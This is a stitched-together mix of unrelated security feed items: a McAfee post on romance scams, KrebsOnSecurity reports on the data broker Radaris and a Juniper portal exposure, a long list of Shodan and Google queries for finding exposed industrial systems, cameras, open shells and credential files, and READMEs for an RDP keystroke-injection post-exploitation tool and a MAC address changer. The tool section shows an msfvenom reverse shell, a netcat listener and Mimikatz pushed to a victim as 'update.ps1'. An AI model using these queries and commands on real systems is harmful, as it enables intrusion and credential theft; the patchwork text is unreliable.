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For years now, the popularity of online dating has been on the rise—and so have the number of online romance scams that leave people with broken hearts and empty wallets.
In a recent CBS News story, one Texan woman was scammed out of $3,200 by a scammer claiming to be a German Cardiologist. After months of exchanging messages and claiming to be in love with her, he said that he’d been robbed while on a business trip in Nigeria and needed her help.
According to the U.S. Federal Trade Commission (FTC), the reported cost of online romance scams was $1.14 billion in 2023.
Dating and romance scams aren’t limited to online dating apps and sites, they’ll happen on social media and in online games as well. However, the FTC reports that the scam usually starts the same way, typically through an unexpected friend request or a message that comes out of the blue.
With the phony relationship established, the scammer starts asking for money. The FTC reports that they’ll ask for money for several bogus reasons, usually revolving around some sort of hardship where they need a “little help” so that they can pay:
The list goes on, yet that’s the general gist. Scammers often employ a story with an intriguing complication that seems just reasonable enough, one where the romance scammer makes it sound like they could really use the victim’s financial help.
People who have filed fraud reports say they’ve paid their scammer in a few typical ways.
One is by wiring money, often through a wire transfer company. The benefit of this route, for the scammer anyway, is that this is as good as forking over cash. Once it’s gone, it’s gone. The victim lacks the protections they have with other payment forms, such as a credit card that allows the holder to cancel or contest a charge.
Another way is through gift cards. Scammers of all stripes, not just romance scammers, like these because they effectively work like cash, whether it’s a gift card for a major online retailer or a chain of brick-and-mortar stores. Like a wire transfer, once that gift card is handed over, the money on it is highly difficult to recover, if at all.
One more common payment is through reloadable debit cards. A scammer may make an initial request for such a card and then make several follow-on requests to load it up again.
In all, a romance scammer will typically look for the easiest payment method that’s the most difficult to contest or reimburse, leaving the victim in a financial lurch once the scam ends.
When it comes to meeting new people online, the FTC suggests the following:
Scammers, although arguably heartless, are still human. They make mistakes. The stories they concoct are just that. Stories. They may jumble their details, get their times and dates all wrong, or simply get caught in an apparent lie. Also, keep in mind that some scammers may be working with several victims at once, which is yet another opportunity for them to get confused and slip up.
As mentioned above, some romance scammers troll social media and reach out through direct messages or friend requests. With that, there are three things you can do to cut down your chances of getting caught up with a scammer:
Social media platforms like Facebook, Instagram, and others give you the option of making your profile and posts visible to friends only. Choosing this setting keeps the broader internet from seeing what you’re doing, saying, and posting, which can help protect your privacy and give a romance scammer less information to exploit.
Be critical of the invitations you receive. Out-and-out strangers could be more than a romance scammer, they could be a fake account designed to gather information on users for purposes of cybercrime, or they can be an account designed to spread false information. There are plenty of them too. In fact, in Q4 of 2023 alone, Facebook took action on 693 million fake accounts. Reject such requests.
Online protection software like ours can help you spot fakes and scams. Features like McAfee Scam Protection use advanced AI to detect scam links in texts, email, and social media messages before you click. Our Personal Data Cleanup can keep you safer still by removing your personal info from sketchy data broker sites — places where scammers go to harvest useful info on their victims. And if the unfortunate happens, we offer $2 million in identity theft coverage and identity restoration support.
If you suspect that you’re being scammed, put an end to the relationship and report it, as difficult as that may feel.
Notify the FTC at ReportFraud.ftc.gov for support and next steps to help you recover financially as much as possible. Likewise, notify the social media site, app, or service where the scam occurred as well. In some cases, you may want to file a police report, which we cover in our broader article on identity theft and fraud.
If you sent funds via a gift card, the FTC suggests filing a claim with the company as soon as possible. They offer further advice on filing a claim here, along with a list of contact numbers for gift card brands that scammers commonly use.
Lastly, go easy on yourself. If you find yourself a victim of online dating or romance fraud, know that you won’t be the first or last person to be taken advantage of this way. By reporting your case, you in fact may help others from falling victim too.
The post How to Spot Dating Scams appeared first on McAfee Blog.
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Find devices by giving geographical coordinates. geo:"56.913055,118.250862"
country:us country:ru country:de city:chicago
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org:microsoft org:"United States Department"
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Expired certificates ssl.cert.expired:true
ssl.cert.subject.cn:example.com
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os:"windows 7" os:"windows server 2012" os:"linux 3.x"
product:apache product:nginx product:android product:chromecast
cpe:apple cpe:microsoft cpe:nginx cpe:cisco
server: nginx server: apache server: microsoft server: cisco-ios
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http.html:/dana-na
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onion-location
"product:MySQL" mysql port:"3306"
"product:MongoDB" mongodb port:27017
"MongoDB Server Information { "metrics":" "Set-Cookie: mongo-express=" "200 OK" "MongoDB Server Information" port:27017 -authentication
kibana content-legth:217
port:9200 json port:"9200" all:elastic port:"9200" all:"elastic indices"
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"Server: Prismview Player"
"in-tank inventory" port:10001
No auth required to access CLI terminal. "privileged command" GET
P372 "ANPR enabled"
mikrotik streetlight
"voter system serial" country:US
May allow for ATM Access availability NCR Port:"161"
"Cisco IOS" "ADVIPSERVICESK9_LI-M"
"[2J[H Encartele Confidential"
http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
"Server: gSOAP/2.8" "Content-Length: 583"
Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!
"Cobham SATCOM" OR ("Sailor" "VSAT")
title:"Slocum Fleet Mission Control"
"Server: CarelDataServer" "200 Document follows"
http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"
"[1m[35mWelcome on console"
Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.
"DICOM Server Response" port:104
"Server: EIG Embedded Web Server" "200 Document follows"
"Siemens, SIMATIC" port:161
"Server: Microsoft-WinCE" "Content-Length: 12581"
"HID VertX" port:4070
"log off" "select the appropriate"
Helps to find the charging status of tesla powerpack. http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2
title:"xzeres wind"
"html:"PIPS Technology ALPR Processors""
"port:502"
"port:1911,4911 product:Niagara"
"port:18245,18246 product:"general electric""
"port:5006,5007 product:mitsubishi"
"port:2455 operating system"
"port:102"
"port:47808"
"port:5094 hart-ip"
"port:9600 response code"
"port:2404 asdu address"
"port:20000 source address"
"port:44818"
"port:1962 PLC"
"port:789 product:"Red Lion Controls"
"port:20547 PLC"
"authentication disabled" port:5900,5901 "authentication disabled" "RFB 003.008"
99.99% are secured by a secondary Windows login screen.
"\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"
product:"cobalt strike team server" product:"Cobalt Strike Beacon" ssl.cert.serial:146473198 - default certificate serial number ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 ssl:foren.zik
http.html_hash:-1957161625 product:"Brute Ratel C4"
ssl:"Covenant" http.component:"Blazor"
ssl:"MetasploitSelfSignedCA"
Routers which got compromised hacked-router-help-sos
product:"Redis key-value store"
Find Citrix Gateway. title:"citrix gateway"
Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.
title:"Weave Scope" http.favicon.hash:567176827
"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
Jenkins Unrestricted Dashboard x-jenkins 200
"Docker Containers:" port:2375
"Docker-Distribution-Api-Version: registry" "200 OK" -gitlab
"dnsmasq-pi-hole" "Recursion: enabled"
"port: 53" Recursion: Enabled
"root@" port:23 -login -password -name -Session
NO password required for telnet access. port:23 console gateway
"polycom command shell"
nport -keyin port:23
A tangential result of Google's sloppy fractured update approach. 🙄 More information here.
"Android Debug Bridge" "Device" port:5555
Lantronix password port:30718 -secured
"Citrix Applications:" port:1604
Vulnerable (kind of "by design," but especially when exposed).
"smart install client active"
PBX "gateway console" -password port:23
http.title:"- Polycom" "Server: lighttpd" "Polycom Command Shell" -failed port:23
"Polycom Command Shell" -failed port:23
Example: Polycom Video Conferencing
"Server: Bomgar" "200 OK"
"Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995 "Active Management Technology"
HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900
"Press Enter for Setup Mode port:9999"
Helps to find the cleartext wifi passwords in Shodan. html:"def_wirelesspassword"
The wp-config.php if accessed can give out the database credentials. http.html:"* The wp-config.php creation script uses this file"
"x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"
"x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392
"X-AspNet-Version" http.title:"Outlook" -"x-owa-version"
"X-MS-Server-Fqdn"
Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.
"Authentication: disabled" port:445
"Authentication: disabled" NETLOGON SYSVOL -unix port:445
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Redirecting sencha port:9000
"Server: Logitech Media Server" "200 OK"
Example: Logitech Media Servers
"X-Plex-Protocol" "200 OK" port:32400
"CherryPy/5.1.0" "/home"
"IPC$ all storage devices"
title:camera
webcam has_screenshot:true
"d-Link Internet Camera, 200 OK"
"Hipcam RealServer/V1.0"
"Server: yawcam" "Mime-Type: text/html"
("webcam 7" OR "webcamXP") http.component:"mootools" -401
"Server: IP Webcam Server" "200 OK"
html:"DVR_H264 ActiveX"
With username:admin and password: :P NETSurveillance uc-httpd Server: uc-httpd 1.0.0
"Serial Number:" "Built:" "Server: HP HTTP"
ssl:"Xerox Generic Root"
"SERVER: EPSON_Linux UPnP" "200 OK"
"Server: EPSON-HTTP" "200 OK"
"Server: KS_HTTP" "200 OK"
"Server: CANON HTTP Server"
"Server: AV_Receiver" "HTTP/1.1 406"
Apple TVs, HomePods, etc.
"\x08_airplay" port:5353
"Chromecast:" port:8008
"Model: PYNG-HUB"
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title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944
"ETH - Total speed"
Substitute .pem with any extension or a filename like phpinfo.php.
http.title:"Index of /" http.html:".pem"
Exposed wp-config.php files containing database credentials.
http.html:"* The wp-config.php creation script uses this file"
"Minecraft Server" "protocol 340" port:25565
net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24
A list of Google Dorks for Bug Bounty, Web Application Security, and Pentesting
site:example.com -www -shop -share -ir -mfa
site:example.com ext:php inurl:?
site:openbugbounty.org inurl:reports intext:"example.com"
site:"example[.]com" ext:log | ext:txt | ext:conf | ext:cnf | ext:ini | ext:env | ext:sh | ext:bak | ext:backup | ext:swp | ext:old | ext:~ | ext:git | ext:svn | ext:htpasswd | ext:htaccess
inurl:q= | inurl:s= | inurl:search= | inurl:query= | inurl:keyword= | inurl:lang= inurl:& site:example.com
inurl:url= | inurl:return= | inurl:next= | inurl:redirect= | inurl:redir= | inurl:ret= | inurl:r2= | inurl:page= inurl:& inurl:http site:example.com
inurl:id= | inurl:pid= | inurl:category= | inurl:cat= | inurl:action= | inurl:sid= | inurl:dir= inurl:& site:example.com
inurl:http | inurl:url= | inurl:path= | inurl:dest= | inurl:html= | inurl:data= | inurl:domain= | inurl:page= inurl:& site:example.com
inurl:include | inurl:dir | inurl:detail= | inurl:file= | inurl:folder= | inurl:inc= | inurl:locate= | inurl:doc= | inurl:conf= inurl:& site:example.com
inurl:cmd | inurl:exec= | inurl:query= | inurl:code= | inurl:do= | inurl:run= | inurl:read= | inurl:ping= inurl:& site:example.com
inurl:config | inurl:env | inurl:setting | inurl:backup | inurl:admin | inurl:php site:example[.]com
inurl:email= | inurl:phone= | inurl:password= | inurl:secret= inurl:& site:example[.]com
inurl:apidocs | inurl:api-docs | inurl:swagger | inurl:api-explorer site:"example[.]com"
site:pastebin.com "example.com"
site:jsfiddle.net "example.com"
site:codebeautify.org "example.com"
site:codepen.io "example.com"
site:s3.amazonaws.com "example.com"
site:blob.core.windows.net "example.com"
site:googleapis.com "example.com"
site:drive.google.com "example.com"
site:dev.azure.com "example[.]com"
site:onedrive.live.com "example[.]com"
site:digitaloceanspaces.com "example[.]com"
site:sharepoint.com "example[.]com"
site:s3-external-1.amazonaws.com "example[.]com"
site:s3.dualstack.us-east-1.amazonaws.com "example[.]com"
site:dropbox.com/s "example[.]com"
site:box.com/s "example[.]com"
site:docs.google.com inurl:"/d/" "example[.]com"
site:jfrog.io "example[.]com"
site:firebaseio.com "example[.]com"
site:example.com "choose file"
"submit vulnerability report" | "powered by bugcrowd" | "powered by hackerone"
site:*/security.txt "bounty"
site:*/server-status apache
inurl:/wp-admin/admin-ajax.php
intext:"Powered by" & intext:Drupal & inurl:user
site:*/joomla/login
Medium articles for more dorks:
https://thegrayarea.tech/5-google-dorks-every-hacker-needs-to-know-fed21022a906
https://infosecwriteups.com/uncover-hidden-gems-in-the-cloud-with-google-dorks-8621e56a329d
https://infosecwriteups.com/10-google-dorks-for-sensitive-data-9454b09edc12
Top Parameters:
https://github.com/lutfumertceylan/top25-parameter
Proviesec dorks:
https://github.com/Proviesec/google-dorks
If you live in the United States, the data broker Radaris likely knows a great deal about you, and they are happy to sell what they know to anyone. But how much do we know about Radaris? Publicly available data indicates that in addition to running a dizzying array of people-search websites, the co-founders of Radaris operate multiple Russian-language dating services and affiliate programs. It also appears many of their businesses have ties to a California marketing firm that works with a Russian state-run media conglomerate currently sanctioned by the U.S. government.
Formed in 2009, Radaris is a vast people-search network for finding data on individuals, properties, phone numbers, businesses and addresses. Search for any American’s name in Google and the chances are excellent that a listing for them at Radaris.com will show up prominently in the results.
Radaris reports typically bundle a substantial amount of data scraped from public and court documents, including any current or previous addresses and phone numbers, known email addresses and registered domain names. The reports also list address and phone records for the target’s known relatives and associates. Such information could be useful if you were trying to determine the maiden name of someone’s mother, or successfully answer a range of other knowledge-based authentication questions.
Currently, consumer reports advertised for sale at Radaris.com are being fulfilled by a different people-search company called TruthFinder. But Radaris also operates a number of other people-search properties — like Centeda.com — that sell consumer reports directly and behave almost identically to TruthFinder: That is, reel the visitor in with promises of detailed background reports on people, and then charge a $34.99 monthly subscription fee just to view the results.
The Better Business Bureau (BBB) assigns Radaris a rating of “F” for consistently ignoring consumers seeking to have their information removed from Radaris’ various online properties. Of the 159 complaints detailed there in the last year, several were from people who had used third-party identity protection services to have their information removed from Radaris, only to receive a notice a few months later that their Radaris record had been restored.
What’s more, Radaris’ automated process for requesting the removal of your information requires signing up for an account, potentially providing more information about yourself that the company didn’t already have (see screenshot above).
Radaris has not responded to requests for comment.
Radaris, TruthFinder and others like them all force users to agree that their reports will not be used to evaluate someone’s eligibility for credit, or a new apartment or job. This language is so prominent in people-search reports because selling reports for those purposes would classify these firms as consumer reporting agencies (CRAs) and expose them to regulations under the Fair Credit Reporting Act (FCRA).
These data brokers do not want to be treated as CRAs, and for this reason their people search reports typically do not include detailed credit histories, financial information, or full Social Security Numbers (Radaris reports include the first six digits of one’s SSN).
But in September 2023, the U.S. Federal Trade Commission found that TruthFinder and another people-search service Instant Checkmate were trying to have it both ways. The FTC levied a $5.8 million penalty against the companies for allegedly acting as CRAs because they assembled and compiled information on consumers into background reports that were marketed and sold for employment and tenant screening purposes.
An excerpt from the FTC’s complaint against TruthFinder and Instant Checkmate.
The FTC also found TruthFinder and Instant Checkmate deceived users about background report accuracy. The FTC alleges these companies made millions from their monthly subscriptions using push notifications and marketing emails that claimed that the subject of a background report had a criminal or arrest record, when the record was merely a traffic ticket.
“All the while, the companies touted the accuracy of their reports in online ads and other promotional materials, claiming that their reports contain “the MOST ACCURATE information available to the public,” the FTC noted. The FTC says, however, that all the information used in their background reports is obtained from third parties that expressly disclaim that the information is accurate, and that TruthFinder and Instant Checkmate take no steps to verify the accuracy of the information.
The FTC said both companies deceived customers by providing “Remove” and “Flag as Inaccurate” buttons that did not work as advertised. Rather, the “Remove” button removed the disputed information only from the report as displayed to that customer; however, the same item of information remained visible to other customers who searched for the same person.
The FTC also said that when a customer flagged an item in the background report as inaccurate, the companies never took any steps to investigate those claims, to modify the reports, or to flag to other customers that the information had been disputed.
According to Radaris’ profile at the investor website Pitchbook.com, the company’s founder and “co-chief executive officer” is a Massachusetts resident named Gary Norden, also known as Gary Nard.
An analysis of email addresses known to have been used by Mr. Norden shows he is a native Russian man whose real name is Igor Lybarsky (also spelled Lubarsky). Igor’s brother Dmitry, who goes by “Dan,” appears to be the other co-CEO of Radaris. Dmitry Lybarsky’s Facebook/Meta account says he was born in March 1963.
The Lybarsky brothers Dmitry or “Dan” (left) and Igor a.k.a. “Gary,” in an undated photo.
Indirectly or directly, the Lybarskys own multiple properties in both Sherborn and Wellesley, Mass. However, the Radaris website is operated by an offshore entity called Bitseller Expert Ltd, which is incorporated in Cyprus. Neither Lybarsky brother responded to requests for comment.
A review of the domain names registered by Gary Norden shows that beginning in the early 2000s, he and Dan built an e-commerce empire by marketing prepaid calling cards and VOIP services to Russian expatriates who are living in the United States and seeking an affordable way to stay in touch with loved ones back home.
A Sherborn, Mass. property owned by Barsky Real Estate Trust and Dmitry Lybarsky.
In 2012, the main company in charge of providing those calling services — Wellesley Hills, Mass-based Unipoint Technology Inc. — was fined $179,000 by the U.S. Federal Communications Commission, which said Unipoint never applied for a license to provide international telecommunications services.
DomainTools.com shows the email address gnard@unipointtech.com is tied to 137 domains, including radaris.com. DomainTools also shows that the email addresses used by Gary Norden for more than two decades — epop@comby.com, gary@barksy.com and gary1@eprofit.com, among others — appear in WHOIS registration records for an entire fleet of people-search websites, including: centeda.com, virtory.com, clubset.com, kworld.com, newenglandfacts.com, and pub360.com.
Still more people-search platforms tied to Gary Norden– like publicreports.com and arrestfacts.com — currently funnel interested customers to third-party search companies, such as TruthFinder and PersonTrust.com.
The email addresses used by Gary Nard/Gary Norden are also connected to a slew of data broker websites that sell reports on businesses, real estate holdings, and professionals, including bizstanding.com, homemetry.com, trustoria.com, homeflock.com, rehold.com, difive.com and projectlab.com.
Domain records indicate that Gary and Dan for many years operated a now-defunct pay-per-click affiliate advertising network called affiliate.ru. That entity used domain name servers tied to the aforementioned domains comby.com and eprofit.com, as did radaris.ru.
A machine-translated version of Affiliate.ru, a Russian-language site that advertised hundreds of money making affiliate programs, including the Comfi.com prepaid calling card affiliate.
Comby.com used to be a Russian language social media network that looked a great deal like Facebook. The domain now forwards visitors to Privet.ru (“hello” in Russian), a dating site that claims to have 5 million users. Privet.ru says it belongs to a company called Dating Factory, which lists offices in Switzerland. Privet.ru uses the Gary Norden domain eprofit.com for its domain name servers.
Dating Factory’s website says it sells “powerful dating technology” to help customers create unique or niche dating websites. A review of the sample images available on the Dating Factory homepage suggests the term “dating” in this context refers to adult websites. Dating Factory also operates a community called FacebookOfSex, as well as the domain analslappers.com.
Email addresses for the Comby and Eprofit domains indicate Gary Norden operates an entity in Wellesley Hills, Mass. called RussianAmerican Holding Inc. (russianamerica.com). This organization is listed as the owner of the domain newyork.ru, which is a site dedicated to orienting newcomers from Russia to the Big Apple.
Newyork.ru’s terms of service refer to an international calling card company called ComFi Inc. (comfi.com) and list an address as PO Box 81362 Wellesley Hills, Ma. Other sites that include this address are russianamerica.com, russianboston.com, russianchicago.com, russianla.com, russiansanfran.com, russianmiami.com, russiancleveland.com and russianseattle.com (currently offline).
ComFi is tied to Comfibook.com, which was a search aggregator website that collected and published data from many online and offline sources, including phone directories, social networks, online photo albums, and public records.
The current website for russianamerica.com. Note the ad in the bottom left corner of this image for Channel One, a Russian state-owned media firm that is currently sanctioned by the U.S. government.
Many of the U.S. city-specific online properties apparently tied to Gary Norden include phone numbers on their contact pages for a pair of Russian media and advertising firms based in southern California. The phone number 323-874-8211 appears on the websites russianla.com, russiasanfran.com, and rosconcert.com, which sells tickets to theater events performed in Russian.
Historic domain registration records from DomainTools show rosconcert.com was registered in 2003 to Unipoint Technologies — the same company fined by the FCC for not having a license. Rosconcert.com also lists the phone number 818-377-2101.
A phone number just a few digits away — 323-874-8205 — appears as a point of contact on newyork.ru, russianmiami.com, russiancleveland.com, and russianchicago.com. A search in Google shows this 82xx number range — and the 818-377-2101 number — belong to two different entities at the same UPS Store mailbox in Tarzana, Calif: American Russian Media Inc. (armediacorp.com), and Lamedia.biz.
Armediacorp.com is the home of FACT Magazine, a glossy Russian-language publication put out jointly by the American-Russian Business Council, the Hollywood Chamber of Commerce, and the West Hollywood Chamber of Commerce.
Lamedia.biz says it is an international media organization with more than 25 years of experience within the Russian-speaking community on the West Coast. The site advertises FACT Magazine and the Russian state-owned media outlet Channel One. Clicking the Channel One link on the homepage shows Lamedia.biz offers to submit advertising spots that can be shown to Channel One viewers. The price for a basic ad is listed at $500.
In May 2022, the U.S. government levied financial sanctions against Channel One that bar US companies or citizens from doing business with the company.
The website of lamedia.biz offers to sell advertising on two Russian state-owned media firms currently sanctioned by the U.S. government.
In 2014, a group of people sued Radaris in a class-action lawsuit claiming the company’s practices violated the Fair Credit Reporting Act. Court records indicate the defendants never showed up in court to dispute the claims, and as a result the judge eventually awarded the plaintiffs a default judgement and ordered the company to pay $7.5 million.
But the plaintiffs in that civil case had a difficult time collecting on the court’s ruling. In response, the court ordered the radaris.com domain name (~9.4M monthly visitors) to be handed over to the plaintiffs.
However, in 2018 Radaris was able to reclaim their domain on a technicality. Attorneys for the company argued that their clients were never named as defendants in the original lawsuit, and so their domain could not legally be taken away from them in a civil judgment.
“Because our clients were never named as parties to the litigation, and were never served in the litigation, the taking of their property without due process is a violation of their rights,” Radaris’ attorneys argued.
In October 2023, an Illinois resident filed a class-action lawsuit against Radaris for allegedly using people’s names for commercial purposes, in violation of the Illinois Right of Publicity Act.
On Feb. 8, 2024, a company called Atlas Data Privacy Corp. sued Radaris LLC for allegedly violating “Daniel’s Law,” a statute that allows New Jersey law enforcement, government personnel, judges and their families to have their information completely removed from people-search services and commercial data brokers. Atlas has filed at least 140 similar Daniel’s Law complaints against data brokers recently.
Daniel’s Law was enacted in response to the death of 20-year-old Daniel Anderl, who was killed in a violent attack targeting a federal judge (his mother). In July 2020, a disgruntled attorney who had appeared before U.S. District Judge Esther Salas disguised himself as a Fedex driver, went to her home and shot and killed her son (the judge was unharmed and the assailant killed himself).
Earlier this month, The Record reported on Atlas Data Privacy’s lawsuit against LexisNexis Risk Data Management, in which the plaintiffs representing thousands of law enforcement personnel in New Jersey alleged that after they asked for their information to remain private, the data broker retaliated against them by freezing their credit and falsely reporting them as identity theft victims.
Another data broker sued by Atlas Data Privacy — pogodata.com — announced on Mar. 1 that it was likely shutting down because of the lawsuit.
“The matter is far from resolved but your response motivates us to try to bring back most of the names while preserving redaction of the 17,000 or so clients of the redaction company,” the company wrote. “While little consolation, we are not alone in the suit – the privacy company sued 140 property-data sites at the same time as PogoData.”
Atlas says their goal is convince more states to pass similar laws, and to extend those protections to other groups such as teachers, healthcare personnel and social workers. Meanwhile, media law experts say they’re concerned that enacting Daniel’s Law in other states would limit the ability of journalists to hold public officials accountable, and allow authorities to pursue criminals charges against media outlets that publish the same type of public and governments records that fuel the people-search industry.
There are some pending changes to the US legal and regulatory landscape that could soon reshape large swaths of the data broker industry. But experts say it is unlikely that any of these changes will affect people-search companies like Radaris.
On Feb. 28, 2024, the White House issued an executive order that directs the U.S. Department of Justice (DOJ) to create regulations that would prevent data brokers from selling or transferring abroad certain data types deemed too sensitive, including genomic and biometric data, geolocation and financial data, as well as other as-yet unspecified personal identifiers. The DOJ this week published a list of more than 100 questions it is seeking answers to regarding the data broker industry.
In August 2023, the Consumer Financial Protection Bureau (CFPB) announced it was undertaking new rulemaking related to data brokers.
Justin Sherman, an adjunct professor at Duke University, said neither the CFPB nor White House rulemaking will likely address people-search brokers because these companies typically get their information by scouring federal, state and local government records. Those government files include voting registries, property filings, marriage certificates, motor vehicle records, criminal records, court documents, death records, professional licenses, bankruptcy filings, and more.
“These dossiers contain everything from individuals’ names, addresses, and family information to data about finances, criminal justice system history, and home and vehicle purchases,” Sherman wrote in an October 2023 article for Lawfare. “People search websites’ business pitch boils down to the fact that they have done the work of compiling data, digitizing it, and linking it to specific people so that it can be searched online.”
Sherman said while there are ongoing debates about whether people search data brokers have legal responsibilities to the people about whom they gather and sell data, the sources of this information — public records — are completely carved out from every single state consumer privacy law.
“Consumer privacy laws in California, Colorado, Connecticut, Delaware, Indiana, Iowa, Montana, Oregon, Tennessee, Texas, Utah, and Virginia all contain highly similar or completely identical carve-outs for ‘publicly available information’ or government records,” Sherman wrote. “Tennessee’s consumer data privacy law, for example, stipulates that “personal information,” a cornerstone of the legislation, does not include ‘publicly available information,’ defined as:
“…information that is lawfully made available through federal, state, or local government records, or information that a business has a reasonable basis to believe is lawfully made available to the general public through widely distributed media, by the consumer, or by a person to whom the consumer has disclosed the information, unless the consumer has restricted the information to a specific audience.”
Sherman said this is the same language as the carve-out in the California privacy regime, which is often held up as the national leader in state privacy regulations. He said with a limited set of exceptions for survivors of stalking and domestic violence, even under California’s newly passed Delete Act — which creates a centralized mechanism for consumers to ask some third-party data brokers to delete their information — consumers across the board cannot exercise these rights when it comes to data scraped from property filings, marriage certificates, and public court documents, for example.
“With some very narrow exceptions, it’s either extremely difficult or impossible to compel these companies to remove your information from their sites,” Sherman told KrebsOnSecurity. “Even in states like California, every single consumer privacy law in the country completely exempts publicly available information.”
Below is a mind map that helped KrebsOnSecurity track relationships between and among the various organizations named in the story above:
A mind map of various entities apparently tied to Radaris and the company’s co-founders. Click to enlarge.
Article tags
A script to automate keystrokes through an active remote desktop session that assists offensive operators in combination with living off the land techniques.
All credits goes to nopernik for making it possible so I took it upon myself to improve it. I wanted something that helps during the post exploitation phase when executing commands through a remote desktop.
FreshRSS $ ./rks.sh -h
Usage: ./rks.sh (RemoteKeyStrokes)
Options:
-c, --command <command | cmdfile> Specify a command or a file containing to execute
-i, --input <input_file> Specify the local input file to transfer
-o, --output <output_file> Specify the remote output file to transfer
-m, --method <method> Specify the file transfer or execution method
(For file transfer "base64" is set by default if
not specified. For execution method "none" is set
by default if not specified)
-p, --platform <operating_system> Specify the operating system (windows is set by
default if not specified)
-w, --windowname <name> Specify t he window name for graphical remote
program (freerdp is set by default if not
specified)
-h, --help Display this help message
$ cat recon_cmds.txt
whoami /all
net user
net localgroup Administrators
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
net group "Domain Computers" /domain
$ ./rks.h -c recon_cmds.txt
$ msfvenom -p windowx/x64/shell_reverse_tcp lhost=<IP> lport=4444 -f psh -o implant.ps1
$ ./rks.sh -c implant.ps1
$ nc -lvnp 4444
$ ./rks.sh -i /usr/share/powersploit/Privesc/PowerUp.ps1 -o script.ps1
$ ./rks.sh -i /usr/share/powersploit/Exfiltration/Invoke-Mimikatz.ps1 -o "C:\Windows\Temp\update.ps1" -m base64
tightvnc.$ ./rks.sh -i implant.ps1 -w tightvnc
rdesktop.$ ./rks.sh -i implant.bat -w rdesktop
Add text colors for better user experience
Implement Base64 file transfer
Implement Bin2Hex file transfer
Implement a persistence function for both windows and linux.
Implement antiforensics function for both windows and linux.
Implement to read shellcode input and run C# implant and powershell runspace
Implement privesc function for both windows and linux
As head of the Cisco Trust Office, Matt Fussa leads a global team that partners with government agencies, regulators, and customers to help shape cybersecurity regulation and manage cyber risk. He is… Read more on Cisco Blogs
Until earlier this week, the support website for networking equipment vendor Juniper Networks was exposing potentially sensitive information tied to customer products, including which devices customers bought, as well as each product’s warranty status, service contracts and serial numbers. Juniper said it has since fixed the problem, and that the inadvertent data exposure stemmed from a recent upgrade to its support portal.
Sunnyvale, Calif. based Juniper Networks makes high-powered Internet routers and switches, and its products are used in some of the world’s largest organizations. Earlier this week KrebsOnSecurity heard from a reader responsible for managing several Juniper devices, who found he could use Juniper’s customer support portal to find device and support contract information for other Juniper customers.
Logan George is a 17-year-old intern working for an organization that uses Juniper products. George said he found the data exposure earlier this week by accident while searching for support information on a particular Juniper product.
George discovered that after logging in with a regular customer account, Juniper’s support website allowed him to list detailed information about virtually any Juniper device purchased by other customers. Searching on Amazon.com in the Juniper portal, for example, returned tens of thousands of records. Each record included the device’s model and serial number, the approximate location where it is installed, as well as the device’s status and associated support contract information.
Information exposed by the Juniper support portal. Columns not pictured include Serial Number, Software Support Reference number, Product, Warranty Expiration Date and Contract ID.
George said the exposed support contract information is potentially sensitive because it shows which Juniper products are most likely to be lacking critical security updates.
“If you don’t have a support contract you don’t get updates, it’s as simple as that,” George said. “Using serial numbers, I could see which products aren’t under support contracts. And then I could narrow down where each device was sent through their serial number tracking system, and potentially see all of what was sent to the same location. A lot of companies don’t update their switches very often, and knowing what they use allows someone to know what attack vectors are possible.”
In a written statement, Juniper said the data exposure was the result of a recent upgrade to its support portal.
“We were made aware of an inadvertent issue that allowed registered users to our system to access serial numbers that were not associated with their account,” the statement reads. “We acted promptly to resolve this issue and have no reason to believe at this time that any identifiable or personal customer data was exposed in any way. We take these matters seriously and always use these experiences to prevent further similar incidents. We are actively working to determine the root cause of this defect and thank the researcher for bringing this to our attention.”
The company has not yet responded to requests for information about exactly when those overly permissive user rights were introduced. However, the changes may date back to September 2023, when Juniper announced it had rebuilt its customer support portal.
George told KrebsOnSecurity the back-end for Juniper’s support website appears to be supported by Salesforce, and that Juniper likely did not have the proper user permissions established on its Salesforce assets. In April 2023, KrebsOnSecurity published research showing that a shocking number of organizations — including banks, healthcare providers and state and local governments — were leaking private and sensitive data thanks to misconfigured Salesforce installations.
Nicholas Weaver, a researcher at University of California, Berkeley’s International Computer Science Institute (ICSI) and lecturer at UC Davis, said the complexity layered into modern tech support portals leaves much room for error.
“This is a reminder of how hard it is to build these large systems like support portals, where you need to be able to manage gazillions of users with distinct access roles,” Weaver said. “One minor screw up there can produce hilarious results.”
Last month, computer maker Hewlett Packard Enterprise announced it would buy Juniper Networks for $14 billion, reportedly to help beef up the 100-year-old technology company’s artificial intelligence offerings.
Update, 11:01 a.m. ET: An earlier version of this story quoted George as saying he was able to see support information for the U.S. Department of Defense. George has since clarified that while one block of device records he found was labeled “Department of Defense,” that record appears to belong to a different country.
MacMaster is a versatile command line tool designed to change the MAC address of network interfaces on your system. It provides a simple yet powerful solution for network anonymity and testing.
MacMaster requires Python 3.6 or later.
$ git clone https://github.com/HalilDeniz/MacMaster.gitcd MacMaster$ python setup.py install$ macmaster --help
usage: macmaster [-h] [--interface INTERFACE] [--version]
[--random | --newmac NEWMAC | --customoui CUSTOMOUI | --reset]
MacMaster: Mac Address Changer
options:
-h, --help show this help message and exit
--interface INTERFACE, -i INTERFACE
Network interface to change MAC address
--version, -V Show the version of the program
--random, -r Set a random MAC address
--newmac NEWMAC, -nm NEWMAC
Set a specific MAC address
--customoui CUSTOMOUI, -co CUSTOMOUI
